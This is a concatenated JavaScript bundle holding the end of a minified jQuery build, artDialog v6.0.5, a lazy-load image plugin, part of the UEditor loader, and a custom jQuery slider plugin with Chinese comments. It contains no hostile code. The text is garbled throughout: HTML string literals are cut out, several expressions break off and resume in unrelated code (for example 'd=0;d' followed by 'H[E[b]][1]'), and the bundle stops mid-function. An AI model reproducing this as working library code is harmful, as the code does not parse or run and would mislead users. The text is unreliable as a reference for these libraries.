").append(m.parseHTML(a)).find(d):a)}).complete(c&&function(a,b){g.each(c,e||[a.responseText,b,a])}),this},m.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){m.fn[b]=function(a){return this.on(b,a)}}),m.expr.filters.animated=function(a){return m.grep(m.timers,function(b){return a===b.elem}).length};var cd=a.document.documentElement;function dd(a){return m.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}m.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=m.css(a,"position"),l=m(a),n={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=m.css(a,"top"),i=m.css(a,"left"),j=("absolute"===k||"fixed"===k)&&m.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),m.isFunction(b)&&(b=b.call(a,c,h)),null!=b.top&&(n.top=b.top-h.top+g),null!=b.left&&(n.left=b.left-h.left+e),"using"in b?b.using.call(a,n):l.css(n)}},m.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){m.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,m.contains(b,e)?(typeof e.getBoundingClientRect!==K&&(d=e.getBoundingClientRect()),c=dd(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===m.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),m.nodeName(a[0],"html")||(c=a.offset()),c.top+=m.css(a[0],"borderTopWidth",!0),c.left+=m.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-m.css(d,"marginTop",!0),left:b.left-c.left-m.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||cd;while(a&&!m.nodeName(a,"html")&&"static"===m.css(a,"position"))a=a.offsetParent;return a||cd})}}),m.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);m.fn[a]=function(d){return V(this,function(a,d,e){var f=dd(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?m(f).scrollLeft():e,c?e:m(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),m.each(["top","left"],function(a,b){m.cssHooks[b]=Lb(k.pixelPosition,function(a,c){return c?(c=Jb(a,b),Hb.test(c)?m(a).position()[b]+"px":c):void 0})}),m.each({Height:"height",Width:"width"},function(a,b){m.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){m.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return V(this,function(b,c,d){var e;return m.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?m.css(b,c,g):m.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),m.fn.size=function(){return this.length},m.fn.andSelf=m.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return m});var ed=a.jQuery,fd=a.$;return m.noConflict=function(b){return a.$===m&&(a.$=fd),b&&a.jQuery===m&&(a.jQuery=ed),m},typeof b===K&&(a.jQuery=a.$=m),m});
/*! artDialog v6.0.5 | https://github.com/aui/artDialog */
!function(){function a(b){var d=c[b],e="exports";return"object"==typeof d?d:(d[e]||(d[e]={},d[e]=d.call(d[e],a,d[e],d)||d[e]),d[e])}function b(a,b){c[a]=b}var c={};b("jquery",function(){return jQuery}),b("popup",function(a){function b(){this.destroyed=!1,this.__popup=c("
").css({display:"none",position:"absolute",outline:0}).attr("tabindex","-1").html(this.innerHTML).appendTo("body"),this.__backdrop=this.__mask=c("
").css({opacity:.7,background:"#000"}),this.node=this.__popup[0],this.backdrop=this.__backdrop[0],d++}var c=a("jquery"),d=0,e=!("minWidth"in c("html")[0].style),f=!e;return c.extend(b.prototype,{node:null,backdrop:null,fixed:!1,destroyed:!0,open:!1,returnValue:"",autofocus:!0,align:"bottom left",innerHTML:"",className:"ui-popup",show:function(a){if(this.destroyed)return this;var d=this.__popup,g=this.__backdrop;if(this.__activeElement=this.__getActive(),this.open=!0,this.follow=a||this.follow,!this.__ready){if(d.addClass(this.className).attr("role",this.modal?"alertdialog":"dialog").css("position",this.fixed?"fixed":"absolute"),e||c(window).on("resize",c.proxy(this.reset,this)),this.modal){var h={position:"fixed",left:0,top:0,width:"100%",height:"100%",overflow:"hidden",userSelect:"none",zIndex:this.zIndex||b.zIndex};d.addClass(this.className+"-modal"),f||c.extend(h,{position:"absolute",width:c(window).width()+"px",height:c(document).height()+"px"}),g.css(h).attr({tabindex:"0"}).on("focus",c.proxy(this.focus,this)),this.__mask=g.clone(!0).attr("style","").insertAfter(d),g.addClass(this.className+"-backdrop").insertBefore(d),this.__ready=!0}d.html()||d.html(this.innerHTML)}return d.addClass(this.className+"-show").show(),g.show(),this.reset().focus(),this.__dispatchEvent("show"),this},showModal:function(){return this.modal=!0,this.show.apply(this,arguments)},close:function(a){return!this.destroyed&&this.open&&(void 0!==a&&(this.returnValue=a),this.__popup.hide().removeClass(this.className+"-show"),this.__backdrop.hide(),this.open=!1,this.blur(),this.__dispatchEvent("close")),this},remove:function(){if(this.destroyed)return this;this.__dispatchEvent("beforeremove"),b.current===this&&(b.current=null),this.__popup.remove(),this.__backdrop.remove(),this.__mask.remove(),e||c(window).off("resize",this.reset),this.__dispatchEvent("remove");for(var a in this)delete this[a];return this},reset:function(){var a=this.follow;return a?this.__follow(a):this.__center(),this.__dispatchEvent("reset"),this},focus:function(){var a=this.node,d=this.__popup,e=b.current,f=this.zIndex=b.zIndex++;if(e&&e!==this&&e.blur(!1),!c.contains(a,this.__getActive())){var g=d.find("[autofocus]")[0];!this._autofocus&&g?this._autofocus=!0:g=a,this.__focus(g)}return d.css("zIndex",f),b.current=this,d.addClass(this.className+"-focus"),this.__dispatchEvent("focus"),this},blur:function(){var a=this.__activeElement,b=arguments[0];return b!==!1&&this.__focus(a),this._autofocus=!1,this.__popup.removeClass(this.className+"-focus"),this.__dispatchEvent("blur"),this},addEventListener:function(a,b){return this.__getEventListener(a).push(b),this},removeEventListener:function(a,b){for(var c=this.__getEventListener(a),d=0;d
H[E[b]][1]&&(b=B[a]=D[b]),F[a][b]Loading..',title:"",statusbar:"",button:null,ok:null,cancel:null,okValue:"ok",cancelValue:"cancel",cancelDisplay:!0,width:"",height:"",padding:"",skin:"",quickClose:!1,cssUri:"../css/ui-dialog.css",innerHTML:''}),b("dialog",function(a){var b=a("jquery"),c=a("popup"),d=a("dialog-config"),e=d.cssUri;if(e){var f=a[a.toUrl?"toUrl":"resolve"];f&&(e=f(e),e='',b("base")[0]?b("base").before(e):b("head").append(e))}var g=0,h=new Date-0,i=!("minWidth"in b("html")[0].style),j="createTouch"in document&&!("onmousemove"in document)||/(iPhone|iPad|iPod)/i.test(navigator.userAgent),k=!i&&!j,l=function(a,c,d){var e=a=a||{};("string"==typeof a||1===a.nodeType)&&(a={content:a,fixed:!j}),a=b.extend(!0,{},l.defaults,a),a.original=e;var f=a.id=a.id||h+g,i=l.get(f);return i?i.focus():(k||(a.fixed=!1),a.quickClose&&(a.modal=!0,a.backdropOpacity=0),b.isArray(a.button)||(a.button=[]),void 0!==d&&(a.cancel=d),a.cancel&&a.button.push({id:"cancel",value:a.cancelValue,callback:a.cancel,display:a.cancelDisplay}),void 0!==c&&(a.ok=c),a.ok&&a.button.push({id:"ok",value:a.okValue,callback:a.ok,autofocus:!0}),l.list[f]=new l.create(a))},m=function(){};m.prototype=c.prototype;var n=l.prototype=new m;return l.create=function(a){var d=this;b.extend(this,new c);var e=(a.original,b(this.node).html(a.innerHTML)),f=b(this.backdrop);return this.options=a,this._popup=e,b.each(a,function(a,b){"function"==typeof d[a]?d[a](b):d[a]=b}),a.zIndex&&(c.zIndex=a.zIndex),e.attr({"aria-labelledby":this._$("title").attr("id","title:"+this.id).attr("id"),"aria-describedby":this._$("content").attr("id","content:"+this.id).attr("id")}),this._$("close").css("display",this.cancel===!1?"none":"").attr("title",this.cancelValue).on("click",function(a){d._trigger("cancel"),a.preventDefault()}),this._$("dialog").addClass(this.skin),this._$("body").css("padding",this.padding),a.quickClose&&f.on("onmousedown"in document?"mousedown":"click",function(){return d._trigger("cancel"),!1}),this.addEventListener("show",function(){f.css({opacity:0,background:a.backdropBackground}).animate({opacity:a.backdropOpacity},150)}),this._esc=function(a){var b=a.target,e=b.nodeName,f=/^input|textarea$/i,g=c.current===d,h=a.keyCode;!g||f.test(e)&&"button"!==b.type||27===h&&d._trigger("cancel")},b(document).on("keydown",this._esc),this.addEventListener("remove",function(){b(document).off("keydown",this._esc),delete l.list[this.id]}),g++,l.oncreate(this),this},l.create.prototype=n,b.extend(n,{content:function(a){var c=this._$("content");return"object"==typeof a?(a=b(a),c.empty("").append(a.show()),this.addEventListener("beforeremove",function(){b("body").append(a.hide())})):c.html(a),this.reset()},title:function(a){return this._$("title").text(a),this._$("header")[a?"show":"hide"](),this},width:function(a){return this._$("content").css("width",a),this.reset()},height:function(a){return this._$("content").css("height",a),this.reset()},button:function(a){a=a||[];var c=this,d="",e=0;return this.callbacks={},"string"==typeof a?(d=a,e++):b.each(a,function(a,f){var g=f.id=f.id||f.value,h="";c.callbacks[g]=f.callback,f.display===!1?h=' style="display:none"':e++,d+='",c._$("button").on("click","[i-id="+g+"]",function(a){var d=b(this);d.attr("disabled")||c._trigger(g),a.preventDefault()})}),this._$("button").html(d),this._$("footer")[e?"show":"hide"](),this},statusbar:function(a){return this._$("statusbar").html(a)[a?"show":"hide"](),this},_$:function(a){return this._popup.find("[i="+a+"]")},_trigger:function(a){var b=this.callbacks[a];return"function"!=typeof b||b.call(this)!==!1?this.close().remove():this}}),l.oncreate=b.noop,l.getCurrent=function(){return c.current},l.get=function(a){return void 0===a?l.list:l.list[a]},l.list={},l.defaults=d,l}),b("drag",function(a){var b=a("jquery"),c=b(window),d=b(document),e="createTouch"in document,f=document.documentElement,g=!("minWidth"in f.style),h=!g&&"onlosecapture"in f,i="setCapture"in f,j={start:e?"touchstart":"mousedown",over:e?"touchmove":"mousemove",end:e?"touchend":"mouseup"},k=e?function(a){return a.touches||(a=a.originalEvent.touches.item(0)),a}:function(a){return a},l=function(){this.start=b.proxy(this.start,this),this.over=b.proxy(this.over,this),this.end=b.proxy(this.end,this),this.onstart=this.onover=this.onend=b.noop};return l.types=j,l.prototype={start:function(a){return a=this.startFix(a),d.on(j.over,this.over).on(j.end,this.end),this.onstart(a),!1},over:function(a){return a=this.overFix(a),this.onover(a),!1},end:function(a){return a=this.endFix(a),d.off(j.over,this.over).off(j.end,this.end),this.onend(a),!1},startFix:function(a){return a=k(a),this.target=b(a.target),this.selectstart=function(){return!1},d.on("selectstart",this.selectstart).on("dblclick",this.end),h?this.target.on("losecapture",this.end):c.on("blur",this.end),i&&this.target[0].setCapture(),a},overFix:function(a){return a=k(a)},endFix:function(a){return a=k(a),d.off("selectstart",this.selectstart).off("dblclick",this.end),h?this.target.off("losecapture",this.end):c.off("blur",this.end),i&&this.target[0].releaseCapture(),a}},l.create=function(a,e){var f,g,h,i,j=b(a),k=new l,m=l.types.start,n=function(){},o=a.className.replace(/^\s|\s.*/g,"")+"-drag-start",p={onstart:n,onover:n,onend:n,off:function(){j.off(m,k.start)}};return k.onstart=function(b){var e="fixed"===j.css("position"),k=d.scrollLeft(),l=d.scrollTop(),m=j.width(),n=j.height();f=0,g=0,h=e?c.width()-m+f:d.width()-m,i=e?c.height()-n+g:d.height()-n;var q=j.offset(),r=this.startLeft=e?q.left-k:q.left,s=this.startTop=e?q.top-l:q.top;this.clientX=b.clientX,this.clientY=b.clientY,j.addClass(o),p.onstart.call(a,b,r,s)},k.onover=function(b){var c=b.clientX-this.clientX+this.startLeft,d=b.clientY-this.clientY+this.startTop,e=j[0].style;c=Math.max(f,Math.min(h,c)),d=Math.max(g,Math.min(i,d)),e.left=c+"px",e.top=d+"px",p.onover.call(a,b,c,d)},k.onend=function(b){var c=j.position(),d=c.left,e=c.top;j.removeClass(o),p.onend.call(a,b,d,e)},k.off=function(){j.off(m,k.start)},e?k.start(e):j.on(m,k.start),p},l}),b("dialog-plus",function(a){var b=a("jquery"),c=a("dialog"),d=a("drag");return c.oncreate=function(a){var c,e=a.options,f=e.original,g=e.url,h=e.oniframeload;if(g&&(this.padding=e.padding=0,c=b(""),c.attr({src:g,name:a.id,width:"100%",height:"100%",allowtransparency:"yes",frameborder:"no",scrolling:"no"}).on("load",function(){var b;try{b=c[0].contentWindow.frameElement}catch(d){}b&&(e.width||a.width(c.contents().width()),e.height||a.height(c.contents().height())),h&&h.call(a)}),a.addEventListener("beforeremove",function(){c.attr("src","about:blank").remove()},!1),a.content(c[0]),a.iframeNode=c[0]),!(f instanceof Object))for(var i=function(){a.close().remove()},j=0;jj.failure_limit)return!1}else c.trigger("appear"),b=0})}var h,i=this,j={threshold:0,failure_limit:0,event:"scroll",effect:"show",container:b,data_attribute:"original",skip_invisible:!0,appear:null,load:null,placeholder:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC"};return f&&(d!==f.failurelimit&&(f.failure_limit=f.failurelimit,delete f.failurelimit),d!==f.effectspeed&&(f.effect_speed=f.effectspeed,delete f.effectspeed),a.extend(j,f)),h=j.container===d||j.container===b?e:a(j.container),0===j.event.indexOf("scroll")&&h.bind(j.event,function(){return g()}),this.each(function(){var b=this,c=a(b);b.loaded=!1,(c.attr("src")===d||c.attr("src")===!1)&&c.is("img")&&c.attr("src",j.placeholder),c.one("appear",function(){if(!this.loaded){if(j.appear){var d=i.length;j.appear.call(b,d,j)}a("").bind("load",function(){var d=c.attr("data-"+j.data_attribute);c.hide(),c.is("img")?c.attr("src",d):c.css("background-image","url('"+d+"')"),c[j.effect](j.effect_speed),b.loaded=!0;var e=a.grep(i,function(a){return!a.loaded});if(i=a(e),j.load){var f=i.length;j.load.call(b,f,j)}}).attr("src",c.attr("data-"+j.data_attribute))}}),0!==j.event.indexOf("scroll")&&c.bind(j.event,function(){b.loaded||c.trigger("appear")})}),e.bind("resize",function(){g()}),/(?:iphone|ipod|ipad).*os 5/gi.test(navigator.appVersion)&&e.bind("pageshow",function(b){b.originalEvent&&b.originalEvent.persisted&&i.each(function(){a(this).trigger("appear")})}),a(c).ready(function(){g()}),this},a.belowthefold=function(c,f){var g;return g=f.container===d||f.container===b?(b.innerHeight?b.innerHeight:e.height())+e.scrollTop():a(f.container).offset().top+a(f.container).height(),g<=a(c).offset().top-f.threshold},a.rightoffold=function(c,f){var g;return g=f.container===d||f.container===b?e.width()+e.scrollLeft():a(f.container).offset().left+a(f.container).width(),g<=a(c).offset().left-f.threshold},a.abovethetop=function(c,f){var g;return g=f.container===d||f.container===b?e.scrollTop():a(f.container).offset().top,g>=a(c).offset().top+f.threshold+a(c).height()},a.leftofbegin=function(c,f){var g;return g=f.container===d||f.container===b?e.scrollLeft():a(f.container).offset().left,g>=a(c).offset().left+f.threshold+a(c).width()},a.inviewport=function(b,c){return!(a.rightoffold(b,c)||a.leftofbegin(b,c)||a.belowthefold(b,c)||a.abovethetop(b,c))},a.extend(a.expr[":"],{"below-the-fold":function(b){return a.belowthefold(b,{threshold:0})},"above-the-top":function(b){return!a.belowthefold(b,{threshold:0})},"right-of-screen":function(b){return a.rightoffold(b,{threshold:0})},"left-of-screen":function(b){return!a.rightoffold(b,{threshold:0})},"in-viewport":function(b){return a.inviewport(b,{threshold:0})},"above-the-fold":function(b){return!a.belowthefold(b,{threshold:0})},"right-of-fold":function(b){return a.rightoffold(b,{threshold:0})},"left-of-fold":function(b){return!a.rightoffold(b,{threshold:0})}})}(jQuery,window,document);
(function(){(function(){UE=window.UE||{};var f=!!window.ActiveXObject,h={removeLastbs:function(a){return a.replace(/\/$/,"")},extend:function(a,d){for(var b=arguments,c=this.isBoolean(b[b.length-1])?b[b.length-1]:!1,e=this.isBoolean(b[b.length-1])?b.length-1:b.length,k=1;k=b&&a===d)return c=k,!1});return c},hasClass:function(a,d){d=d.replace(/(^[ ]+)|([ ]+$)/g,"").replace(/[ ]{2,}/g," ").split(" ");for(var b=0,c,e=a.className;c=d[b++];)if(!RegExp("\\b"+c+"\\b","i").test(e))return!1;return b-1==d.length},addClass:function(a,d){if(a){d=this.trim(d).replace(/[ ]{2,}/g,
" ").split(" ");for(var b=0,c,e=a.className;c=d[b++];)RegExp("\\b"+c+"\\b").test(e)||(e+=" "+c);a.className=h.trim(e)}},removeClass:function(a,d){d=this.isArray(d)?d:this.trim(d).replace(/[ ]{2,}/g," ").split(" ");for(var b=0,c,e=a.className;c=d[b++];)e=e.replace(RegExp("\\b"+c+"\\b"),"");e=this.trim(e).replace(/[ ]{2,}/g," ");a.className=e;!e&&a.removeAttribute("className")},on:function(a,d,b){var c=this.isArray(d)?d:d.split(/\s+/),e=c.length;if(e)for(;e--;)if(d=c[e],a.addEventListener)a.addEventListener(d,
b,!1);else{b._d||(b._d={els:[]});var k=d+b.toString(),n=h.indexOf(b._d.els,a);b._d[k]&&-1!=n||(-1==n&&b._d.els.push(a),b._d[k]||(b._d[k]=function(a){return b.call(a.srcElement,a||window.event)}),a.attachEvent("on"+d,b._d[k]))}a=null},off:function(a,d,b){var c=this.isArray(d)?d:d.split(/\s+/),e=c.length;if(e)for(;e--;)if(d=c[e],a.removeEventListener)a.removeEventListener(d,b,!1);else{var k=d+b.toString();try{a.detachEvent("on"+d,b._d?b._d[k]:b)}catch(n){}b._d&&b._d[k]&&(d=h.indexOf(b._d.els,a),-1!=
d&&b._d.els.splice(d,1),0==b._d.els.length&&delete b._d[k])}},loadFile:function(){function a(a,c){try{for(var e=0,k;k=d[e++];)if(k.doc===a&&k.url==(c.src||c.href))return k}catch(n){return null}}var d=[];return function(b,c,e){var k=a(b,c);if(k)k.ready?e&&e():k.funs.push(e);else if(d.push({doc:b,url:c.src||c.href,funs:[e]}),!b.body){e=[];for(var n in c)"tag"!=n&&e.push(n+'="'+c[n]+'"');b.write("<"+c.tag+" "+e.join(" ")+" >"+c.tag+">")}else if(!c.id||!b.getElementById(c.id)){var l=b.createElement(c.tag);
delete c.tag;for(n in c)l.setAttribute(n,c[n]);l.onload=l.onreadystatechange=function(){if(!this.readyState||/loaded|complete/.test(this.readyState)){k=a(b,c);if(0 0){
//判断图片有没有缓存
$img.each(function(){
if($(this).height()){
imgl--;
} else {
$(this).load(function(){
imgl--;
});
}
});
} else {
imgl = 0;
h = $this.outerHeight(true);
}
var t = setInterval(function(){
if(!imgl){
h = $this.outerHeight(true);
clearInterval(t);
var top = (op.parentHeight-h)/2;
$this.css(op.style,top);
}
},300);
}
/***
*功能:幻灯片
*注意事项:
* 1、轮播元素一定是选择器下的直属 'ul > li'
***/
,slider: function (options) {
if(!this.length || this.hasClass('default-slider-2')){
return false;
}
var op = $.extend({
effect : "show" //show(移动) fadeIn(淡入淡出)
,direction : "right" //left right up down
,linear : "easeInOutQuint" //线性参数
,speed : 500 //移动速度
,interval : 2000 //播放间隔
,distance : 0 //单次滚动距离 默认滚动一个子元素
,autoPlay : 1 //是否自动播放
,hoverStop : 1 //鼠标经过图片是否停止播放
,isSingle : 1 //是否单张轮播模式
,isButton : 1 //是否显示前后按钮
,isDots : 1 //是否显示点
,isMousewheel : 0 //是否鼠标滚轮触控
,isThumb : 0 //是否显示缩略图
,thumbNum : 3 //是否显示缩略图
,thumbHeight : 80 //缩略图高度 默认80
,thumbWidth : 150 //缩略图宽度 默认150
,thumbOptions : {}
}, options);
/*覆盖值*/
//如果选择显示缩略图的话 就不能显示点 也不自动播放
if(op.isThumb){
op.isDots = 0;
op.autoPlay = 0;
}
//如果是手机版就强制 effect 为 show
if($_Y.ismobile || $('body').hasClass('ismobile')){
$_Y.ismobile = true;
op.effect = 'show';
}
this.html(''+this.html()+'
');
var $this = this;
if($this.children('.default-slider-box').length > 0){
var $box = $this.children('.default-slider-box');
} else {
return false;
}
if($box.children('ul').length > 0){
var $ul = $box.children('ul');
} else {
return false;
}
if($ul.children('li').length > 0){
var $li = $ul.children('li'),
liLength = $li.length,
thisWidth = $this.width();
thisHeight = $this.height();
} else {
return false;
}
//遍历 li 获取值
var ulWidth = !$this.hasClass("thumb") ? 0 : $ul.width() //实际ul 宽度
,ulHeight = !$this.hasClass("thumb") ? 0 : $ul.height() //实际ul 宽度
,maxheight = 0 //最大的li 高度
,maxwidth = 0 //最大的li 宽度
,dotshtml = '' //dots 的 html
,thumbHtml = ''
,thumbItemHtml = '';
/**根据参数写插入 类**/
//盒类
$this.addClass('default-slider-2'); //要把 -2 去掉
//横向类
if(op.direction == 'left' || op.direction == 'right'){
$this.addClass('default-slider-direction-left');
//如果效果为移动
if(op.effect == 'show'){
$ul.addClass('cl');
}
}
if(op.isSingle){
$this.addClass('default-slider-single');
if(op.direction == 'left' || op.direction == 'right'){
$li.width(thisWidth);
} else if(op.direction == 'up' || op.direction == 'down') {
$li.width(thisHeight);
}
}
$li.each(function(index){
//横向 show 获取总宽度
var $thisLi = $(this);
if(op.isSingle){
//$li.find('img').css({'marginLeft':-($(this).find('img').width()/2)});
if($thisLi.find('img').height() > 0){
$thisLi.find('img').css({'marginLeft':-($thisLi.find('img').width()/2)});
} else {
$thisLi.find('img').load(function(){
$thisLi.find('img').css({'marginLeft':-($thisLi.find('img').width()/2)});
if(op.direction == 'left' || op.direction == 'right'){
maxheight = Math.max(maxheight, $thisLi.outerHeight(true));
$ul.css({height:maxheight});
}
});
}
}
if(!$this.hasClass("thumb") && op.effect == 'show' && (op.direction == 'left' || op.direction == 'right')){
ulWidth += $thisLi.outerWidth(true);
} else if(!$this.hasClass("thumb") && (op.direction == 'up' || op.direction == 'down')){
ulHeight += $thisLi.outerHeight(true);
}
// 效果为 fadeIn 设置第一张可见和设置盒子为最高 li 高度
if(op.effect == 'fadeIn'){
if(index == 0){
$thisLi.css({display:'block'});
}
}
if(op.direction == 'left' || op.direction == 'right'){
maxheight = Math.max(maxheight, $thisLi.outerHeight(true));
}
if(op.direction == 'up' || op.direction == 'down'){
maxwidth = Math.max(maxwidth, $thisLi.outerWidth(true));
}
//如果显示点并且默认移动单位
if(op.isDots && !op.distance){
var dotclass = (index == 0) ? 'class="active"' : '';
dotshtml += ''+(index+1)+'';
}
//如果显示缩略图
if(op.isThumb){
var dataOriginal = $thisLi.find('img').attr('_src');
thumbItemHtml += '';
}
});
//如果横向
if(op.direction == 'left' || op.direction == 'right'){
$ul.css({height:maxheight});
//如果效果为移动
if(op.effect == 'show'){
if(ulWidth < thisWidth){
$ul.css({width:Math.ceil(thisWidth/ulWidth)*ulWidth*2});
var _ulHtml = '';
for(i=1;i<=Math.ceil(thisWidth/ulWidth);i++){
_ulHtml += $box.children('ul').html();
}
$ul.html(_ulHtml);
$ul.css({width:ulWidth*Math.ceil(thisWidth/ulWidth)*2});
} else {
$ul.css({width:ulWidth*2});
}
}
} else if(op.direction == 'up' || op.direction == 'down'){
op.effect = 'show';
$ul.css({width:maxwidth});
if(ulHeight < thisHeight){
$ul.css({height:Math.ceil(thisHeight/ulHeight)*ulHeight*2});
var _ulHtml = '';
for(i=1;i<=Math.ceil(thisHeight/ulHeight);i++){
_ulHtml += $box.children('ul').html();
}
$ul.html(_ulHtml);
$ul.css({height:ulHeight*Math.ceil(thisHeight/ulHeight)*2});
} else {
$ul.css({height:ulHeight*2});
}
}
//用于插入
var ulHtml = $($box.children('ul').html());
//这一句要注意下 看是不是需要重新检查
$li = $ul.children('li');
//如果淡入淡出 //设置 ul 的高度 貌似 应该还有其他条件可以满足
if(op.effect == 'fadeIn'){
$this.addClass('default-slider-effect-fadeIn');
}
//如果显示按钮
if(op.isButton){
$this.append('');
}
//如果显示点
if(op.isDots){
if(op.distance){
dotshtml += '1';
if(op.direction == 'left' || op.direction == 'right'){
dotsunm = Math.ceil(ulWidth/op.distance);
} else if(op.direction == 'up' || op.direction == 'down'){
dotsunm = Math.ceil(ulHeight/op.distance);
}
for(i=2;i<=dotsunm;i++){
dotshtml += ''+i+'';
}
}
$this.append(''+dotshtml+'
');
}
//如果显示缩略图
if(op.isThumb){
thumbHtml = '';
$this.append(thumbHtml);
var $thumb = $this.children('.thumb');
//var $thumbBox = $thumb.children('');
op.thumbNum = liLength < op.thumbNum ? $li.length : op.thumbNum;
var thumbLiwidth = $thumb.children('ul').children('li').outerWidth(true)+op.thumbWidth-($thumb.children('ul').children('li').find('img').width());
var thumbWidth = thumbLiwidth*op.thumbNum;
$thumb.width(thumbWidth);
$thumb.children('ul').width(thumbLiwidth*liLength);
$thumb.css({'marginLeft':-((thumbWidth/2)+15)});
/*
if(op.thumbNum < li.length){
thumb.append('');
}
*/
//缩略图幻灯片
var thumbSliderData = $.extend({
effect : "show" //show(移动) fadeIn(淡入淡出)
,direction : op.direction //left right up down
,linear : op.linear //线性参数
,speed : op.speed //移动速度
,interval : 3000 //播放间隔
//,distance : thumbWidth
,isSingle : 0 //是否单张轮播模式
,isDots : 0 //是否显示点
,isThumb : 0 //是否显示缩略图
}, op.thumbOptions);
$thumb.taiduyun('slider',thumbSliderData);
}
var direction = op.direction;
//自动播放
if(op.autoPlay){
var autoplay = setInterval(_left(direction),op.interval);
}
//左点击事件
$this.find('.prev').click(function(){
clearInterval(autoplay);
if(direction == 'left' || direction == 'right'){
direction = 'left';
} else {
direction = 'up';
}
left(direction);
});
//右点击事件
$this.find('.next').click(function(){
clearInterval(autoplay);
if(direction == 'left' || direction == 'right'){
direction = 'right';
} else {
direction = 'down';
}
left(direction);
});
//鼠标滚轮事件
if(op.isMousewheel){
$this.bind('mousewheel', function(event, delta){
if(delta < 0){
$this.find('.next').click();
} else {
$this.find('.prev').click();
}
});
}
//手机端滑动幻灯片事件
var touch_iX = 0;
var touch_distance = 0;
//开始滑屏
$this[0].addEventListener('touchstart',function( e ){
touch_i = e.targetTouches[0].clientX;
clearInterval(autoplay);
},false);
//滑屏过程
$this[0].addEventListener('touchmove',function( e ){
touch_distance = e.targetTouches[0].clientX - touch_i;
if(touch_distance < -10 || touch_distance > 10){
e.preventDefault();
} else {
e.returnValue = true;
}
},false);
//滑屏结束
$this[0].addEventListener('touchend',function( e ){
if(touch_distance > 30){
left('left');
} else if (touch_distance < -30) {
left('right');
}
if(op.autoPlay){
autoplay = setInterval(_left(direction),op.interval);
}
},false);
//经过高亮点
$this.children('.dots').children('span').mouseover(function(){
clearInterval(autoplay);
var toindex = $(this).index();
left(direction,toindex);
});
//经过盒子
$this.hover(function(){
if(op.hoverStop){
clearInterval(autoplay);
}
},function(){
if(op.autoPlay){
autoplay = setInterval(_left(direction),op.interval);
}
});
//点击缩略图事件
$this.on('click','.thumb ul li',function(){
left(direction,$(this).index()%$li.length);
});
//封装移动函数给计时器传参
function _left(_name){
return function(){
left(_name);
}
}
//横向移动函数
function left(direction,toindex){
var active,actionLi;
$ul = $box.children('ul');
$li = $ul.children('li');
if(op.effect == 'show'){
if(direction == 'left' || direction == 'right'){
var thisLeft = $box.offset().left
,ulLeft = $ul.offset().left
,ulMarginLeft = parseInt($ul.css('marginLeft'));
} else {
//向上
var thisTop = $box.offset().top
,ulTop = $ul.offset().top
,ulMarginTop = parseInt($ul.css('marginTop'));
}
if(typeof(toindex)=="undefined" && direction == 'left' && ulMarginLeft >= 0){
prevWidth = $li.last().outerWidth(true);
$ul.prepend(ulHtml);
$ul.css({'marginLeft':-(ulWidth)});
ulMarginLeft = ulMarginLeft-ulWidth;
$ul = $box.children('ul');
$li = $ul.children('li');
} else if ((typeof(toindex) != "undefined" && (direction == 'right' || direction == 'left')) || (direction == 'right' && $li.last().offset().left <= thisLeft+thisWidth)){
$ul.append(ulHtml);
if(typeof(toindex) != "undefined"){
if(op.distance){
$ul.stop().animate({marginLeft:-((op.distance-1)*toindex)+'px'},op.speed,op.linear);
} else {
$ul.stop().animate({marginLeft:-($li.eq(toindex).offset().left-ulLeft)+'px'},op.speed);
}
$this.children('.dots').children('span').eq(toindex).addClass('active').siblings().removeClass('active');
return false;
}
if(ulMarginLeft <= -ulWidth){
ulMarginLeft = ulMarginLeft + ulWidth;
}
$ul = $box.children('ul');
$li = $ul.children('li');
$ul.css({'marginLeft':ulMarginLeft+'px'});
} else if (typeof(toindex) != "undefined" || (direction == 'up' && ($li.last().offset().top <= (thisTop+thisHeight)))){
$ul.append(ulHtml);
if(typeof(toindex) != "undefined"){
if(op.distance){
$ul.stop().animate({marginTop:-((op.distance-1)*toindex)+'px'},op.speed,op.linear);
} else {
$ul.stop().animate({marginTop:-($li.eq(toindex).offset().top-ulTop)+'px'},op.speed);
}
$this.children('.dots').children('span').eq(toindex).addClass('active').siblings().removeClass('active');
return false;
}
if(ulMarginTop <= -ulHeight){
ulMarginTop = ulMarginTop + ulHeight;
}
$ul = $box.children('ul');
$li = $ul.children('li');
$ul.css({'marginTop':ulMarginTop+'px'});
}
$li.each(function(index){
if(direction == 'left' || direction == 'right'){
if(op.isSingle && $(this).find('img').css("marginLeft") == '0px'){
$(this).find('img').css({"marginLeft":-($(this).find('img').width()/2)});
}
thisLiLeft = $(this).offset().left;
thisLiWidth = $(this).outerWidth(true);
} else {
//向上
